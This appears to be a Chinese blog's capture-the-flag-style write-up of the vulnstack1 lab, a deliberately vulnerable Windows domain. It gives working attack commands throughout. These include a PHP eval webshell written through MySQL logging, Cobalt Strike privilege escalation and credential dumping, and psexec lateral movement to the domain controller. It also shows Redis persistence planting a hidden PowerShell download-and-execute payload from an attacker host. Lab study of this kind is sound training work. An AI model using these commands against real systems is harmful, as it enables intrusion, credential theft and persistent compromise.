vulnstack1靶场笔记

vulnstack1

环境搭建

1
2
3
4
第一个靶场windows7 双网卡:VMnet8(NAT)+VMnet6 
第二个靶场win2k3 VMnet6
第三个靶场windows2008 VMnet6
攻击机kali 网卡VMnet8(NAT)

win7靶机开启phpstudy

windows2008开启redis服务

信息收集

先用kali扫描网段

1
nmap -sn 192.168.89.0/24

找到存活主机ip:192.168.89.135

进行端口扫描

1
nmap -sC -sV -Pn -T5 192.168.89.143
  1. 跳过 ping 探测 (-Pn) - 直接扫描
  2. 全端口扫描(默认扫描 1000 个常用端口)
  3. 执行默认安全脚本 (-sC)
  4. 深度探测服务版本 (-sV)
  5. 以最快速度运行 (-T5)

看到80和3306端口开放

webshell打口子

来看一下他的web网站http://192.168.89.143/

访问url打开后发现是phpstudy探针页面,可以看到网站绝对路径

现在来爆破一下看看有没有网站后台

在一开始就扫到了phpmyadmin登陆页面,我们先来访问一下

root/root弱口令直接登录

这里我们关注到网站使用的mysql和php版本都是比较低的,还有一个特别的数据库

利用phpmyadmin后台全局日志文件写入getshell

读写权限+web绝对路径,修改日志文件为webshell

(1) 开启日志记录:

1
set global general_log=on;

(2) 指定日志文件

1
set global general_log_file = 'C:/phpStudy/WWW/jwt.php'

(3) 写入执行代码:

1
SELECT '<?php eval($_POST["cmd"]);?>' 

使用蚁剑连接一下

此时连接成功实际上是获得了代码执行的权限,获得权限的高低与实际运行该进程的用户有关

一般运行Apache/Nginx (Linux)的是www-data低权限用户,但是在这里可以看到whoami的回显是域管理员

反弹shell给cs

先生成一个payload

把他放在蚁剑终端执行一下

看到成功在cs上线

执行systeminfo命令获取本机信息

发现还有另一张网卡,ip地址为192.168.52.143,安装了四个修补程序

win7提权

使用内核漏洞提权

利用MS14-058漏洞进行提权

这里直接利用脚本提权需要我们提前在cs里加载一些漏洞利用脚本,比较常用的是ElevateKit

https://github.com/rsmudge/ElevateKit

选中上线主机右键 access->elevate->MS14-058

执行脚本完成后发现提权成功,获得system权限

利用屏幕截图查看桌面文件,没有发现什么信息

使用命令 ipconfig /all

发现另一张网卡,判断为内网,DNS服务器地址为192.168.52.138,猜测是域控

域内信息收集

一些可参考的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ipconfig /all   # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)

比较重要的还有查看防火墙和进程,识别并关闭杀软进程

有关域信息收集需要在域用户权限下执行命令,system身份执行域相关命令会报错

net config Workstation

发现目前域中主机有三台

尝试匿名枚举域内用户

1
shell net view /domain:GOD

该命令只能枚举出机器用户

查找域控机器名

1
nltest /DCLIST:god

域控主机名为OWA

探测内网存活主机和常见开放端口

1
2
# 扫描 52 段,探测常用端口(135, 445 是判定 Windows 机器的关键)
portscan 192.168.52.0/24 135,445 arp 1024
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[04/26 21:04:48] beacon> portscan 192.168.52.0/24 135,139,445,80 arp 1024
[04/26 21:04:48] [*] Tasked beacon to scan ports 135,139,445,80 on 192.168.52.0/24
[04/26 21:05:06] [+] host called home, sent: 95030 bytes
[04/26 21:05:08] [+] received output:
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.141 的回复: 字节=32 时间=2ms TTL=128
来自 192.168.52.143 的回复: 字节=32 时间<1ms TTL=128

[04/26 21:05:08] [+] received output:
(ARP) Target '192.168.52.1' is alive. 00-50-56-C0-00-02

[04/26 21:05:21] [+] received output:
(ARP) Target '192.168.52.143' is alive. 00-0C-29-A7-C1-A8
(ARP) Target '192.168.52.138' is alive. 00-0C-29-34-AA-1B
(ARP) Target '192.168.52.141' is alive. 00-0C-29-7A-89-B0

[04/26 21:05:31] [+] received output:
(ARP) Target '192.168.52.254' is alive. 00-50-56-FA-4A-36
(ARP) Target '192.168.52.255' is alive. 00-0C-29-A7-C1-A8

[04/26 21:05:35] [+] received output:
192.168.52.143:139
192.168.52.143:135
192.168.52.143:80
192.168.52.141:139
192.168.52.141:135
192.168.52.138:139
192.168.52.138:135
192.168.52.138:80
192.168.52.1:139
192.168.52.1:135

[04/26 21:05:42] [+] received output:
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128

[04/26 21:05:43] [+] received output:
来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128

[04/26 21:05:44] [+] received output:
来自 192.168.52.143 的回复: 字节=32 时间<1ms TTL=128

[04/26 21:05:51] [+] received output:
192.168.52.1:445
192.168.52.138:445

[04/26 21:05:52] [+] received output:
192.168.52.141:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.52.143:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)
Scanner module is complete

获取用户凭据

利用我们提权得到的system账户读取内存密码

1
2
3
4
# 读内存密码
hashdump
# 用mimikatz读注册表密码
logonpasswords

在view->credential中可以看到用户和密码信息

好像只有Administrator是域用户

攻击域控

之前我们已经得到域控地址是192.168.52.138,同时发现开放了445端口,可以运行SMB服务

这里我想用的是利用psexec夺取域控权限

psexec是微软官方提供的windows远程控制工具,原理是通过SMB连接到服务端的Admin$共享释放二进制文件

需要利用域管理员凭据登录控制远程主机

现在尝试jump

这里需要提前配置一个SMB监听器

view->tragets

上线成功

建立socks代理隧道

拿下一台内网主机后建立sock5代理

记住这个端口号

在kali利用proxychain工具通过此隧道连接

先修改配置文件 vim /etc/proxychains4.conf ,加入服务器ip和port

测试proxychains 是否能正常工作

1
2
3
4
5
6
7
8
9
10
11
# 测试1:查看出口IP(应该显示云服务器的IP)
proxychains4 curl -s ifconfig.me

# 测试2:测试内网 Redis 端口是否可达
proxychains4 nc -zv 192.168.52.138 6379

# 测试3:连接 Redis
proxychains4 redis-cli -h 192.168.52.138 -p 6379

# 如果 Redis 需要密码
proxychains4 redis-cli -h 192.168.52.138 -p 6379 -a 你的密码

在 Kali 上通过代理使用其他工具

1
2
3
4
5
6
7
8
9
10
11
# 使用 nmap 扫描内网(注意:-sT 是必须的,SOCKS 不支持 SYN 扫描)
proxychains4 nmap -sT -Pn 192.168.52.0/24

# 使用 curl 访问内网 Web 服务
proxychains4 curl http://192.168.52.xxx

# 启动 Metasploit(所有流量都走代理)
proxychains4 msfconsole

# 使用 evil-winrm 连接内网 Windows
proxychains4 evil-winrm -i 192.168.52.xxx -u 用户名 -p 密码

利用redis服务实现持久化

域控上是开启着redis服务的(搭建环境时手动开启)

Windows 的启动文件夹中的程序会在用户登录时自动执行。redis服务一般拥有较高权限,攻击者通过 Redis 的 CONFIG SET dir 将 RDB 持久化文件写入启动目录,再SAVE触发写入,将恶意命令保存为 .bat 文件

先生成一个payload

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:8086/a'))"

需要先进入到redis目录

1
2
3
4
5
# 1. 进入 Redis 目录
beacon> cd c:\redis

# 2. 连接本地 Redis
beacon> redis-cli.exe -h 127.0.0.1 -p 6379

redis-cli 交互环境中执行,在cs中需要用管道传入redis-cli.exe执行

1
2
3
4
5
6
7
8
9
10
11
# 1. 设置 RDB 文件保存路径
beacon> shell echo CONFIG SET dir \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" | redis-cli.exe -h 127.0.0.1 -p 6379

# 2. 设置文件名
beacon> shell echo CONFIG SET dbfilename startup.bat | redis-cli.exe -h 127.0.0.1 -p 6379

# 3. 写入恶意命令(注意转义)
beacon> shell echo SET x \"\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://ip:8086/a'))“\"\r\n\r\n\" | redis-cli.exe -h 127.0.0.1 -p 6379

# 4. 触发保存
beacon> shell echo SAVE | redis-cli.exe -h 127.0.0.1 -p 6379

是因为当前处于实验环境想测试运行,实际环境中拿到域控机器权限可以直接导出krbgt用户hash制作黄金票据实现权限持久化

知识汇总

phpmyadmin后台getshell

https://www.cnblogs.com/liliyuanshangcao/p/13815242.html#_label1_0

上传webshell获取代码执行权限

在渗透测试中,我们常说 WebShell 是一个“口子”,但从技术底层来看,它实际上是利用了 Web 服务器(如 IIS, Apache, Nginx)原本就拥有的执行能力。

简单来说,WebShell 并不是它“创造”了权限,而是它**“借用”“导出”**了权限。

  1. 权限的“寄生”关系

Web 服务器为了处理动态请求(比如用户登录、提交表单),必须具备执行代码的能力(PHP, ASP.NET, Java 等)。

  • 正常流程:用户访问 index.php -> Web 服务启动 PHP 解释器 -> 执行官方代码 -> 返回网页。
  • WebShell 流程:你上传了 shell.php -> 用户访问 shell.php -> Web 服务启动 PHP 解释器 -> 执行你的代码

此时,你的代码运行在 Web 服务的进程空间里。因此,Web 服务进程在操作系统里有什么权限,你的 WebShell 就有什么权限。

  1. 为什么它能执行系统命令?

绝大多数 Web 开发语言都提供了一些“后门”函数,用来让开发者调用系统底层的工具。WebShell 正是利用了这些函数:

  • PHP: system(), exec(), shell_exec(), passthru()
  • ASP.NET: System.Diagnostics.Process.Start()
  • Java: Runtime.getRuntime().exec()

执行命令的过程

当你在蚁剑里输入 whoami 时,蚁剑实际上是发送了一个 HTTP 请求,告诉 shell.php 去调用 system("whoami")。Web 服务进程接收到指令,向操作系统申请开启一个 cmd.exe/bin/sh 子进程,运行命令并将结果通过网页再传回给你。

这是一个非常经典的疑惑。表面上看,你只写了一行简单的 PHP 代码,但实际上这行代码起到了**“开门人”**的作用。

简单直接的回答是:有关系,但 WebShell 只是“载体”,真正的权限是由运行 PHP 的“Web 服务进程”赋予的。

我们可以把这个过程拆解成三个层面来理解:


  1. WebShell 的本质:动态指令接收器

你写入的 <?php eval($_POST["cmd"]);?> 实际上是一台**“远程指令翻译机”**:

  • eval():这是 PHP 的一个极高权限函数,它的作用是“把字符串当作 PHP 代码来执行”。
  • $_POST["cmd"]:这是接收你(蚁剑)通过 HTTP 请求传过来的数据。

当你用蚁剑连接时,蚁剑发出的数据其实是长这样的:

1
cmd = system("whoami");

你的 WebShell 接收到这段字符串,通过 eval() 把它变成了真正的指令。所以,代码执行权限的“入口”确实是 WebShell 提供的。


  1. 权限的“天花板”:Web 服务器的身份

虽然你的 WebShell 能执行任何指令,但它执行指令时,必须遵守操作系统的规则。

关键点在这里: 当你通过 eval 调用系统命令(比如 system())时,操作系统会查看**“是谁在申请运行这个命令?”**。

  • 因为你的 shell.php 是由 Apache / Nginx / IIS 调用的。
  • 所以,操作系统认为申请者就是 Web 服务器进程

为什么需要配置单独的SMB监听器

Listener:选择一个 SMB Beacon(内网横向的首选,通过 445 端口建立加密管道)。

选择 SMB Beacon 作为 psexec 攻击的监听器,主要是基于流量隐蔽性网络拓扑限制以及权限维持这三个核心维度的考虑。

以下是详细的原因分析:

  1. 突破内网隔离(无法直接连外网)

在真实的内网环境中,域控(DC)通常被保护在最核心的区域,严禁直接访问互联网

  • 普通 Beacon (HTTP/DNS):如果给域控下发一个 HTTP 类型的 Payload,域控会尝试直接连接你的云服务器,但由于防火墙规则,连接会被直接丢弃。
  • SMB Beacon:它是一种“被动”或“点对点”的通信方式。它不直接和外网联系,而是通过 命名管道 (Named Pipe) 依靠 445 端口 与已经上线的机器(如你的 STU1)通信。流量路径是:域控 <-> STU1 <-> 你的 TeamServer
  1. 利用合法端口和协议(隐蔽性)

在内网中,445 端口(SMB 协议)是 Windows 机器之间共享文件、打印机和管理操作的“刚需”端口,流量极其频繁。

  • 混淆视听:SMB Beacon 的所有指令和数据传输都封装在标准的 SMB 协议中。对于流量监控设备(如 IDS/IPS)来说,这看起来就像是一次普通的管理员远程管理操作或文件传输,很难通过行为分析将其与恶意软件区分开。
  • 加密管道:CS 的 SMB Beacon 在命名管道中使用了额外的加密,即使流量被截获,也无法直接看到里面的指令内容。
  1. 链式控制(多级跳板)

SMB Beacon 允许你构建一个“链条”。

  • 当你通过 STU1 控制了域控 A,你还可以继续通过域控 A 使用 SMB Beacon 去控制域控 B。
  • 这种架构就像串联的灯泡,你只需要维持好第一个“出口点”(STU1)的连接,整个内网的链条就都能保持在线。
  1. 配合 PsExec 的天然优势

psexec 工具本身的运行原理就是建立在 SMB 协议(445 端口)之上的。

  • 既然 psexec 已经利用 445 端口在目标机器上成功创建了服务并运行了代码,此时直接在该端口内顺便建立一个通信管道(SMB Beacon),不需要额外开启新的端口,这在逻辑上是效率最高、改动最小的方案。

vulnstack1靶场笔记
http://huang-d1.github.io/2026/03/31/vulnstack1/
作者
huangdi
发布于
2026年3月31日
许可协议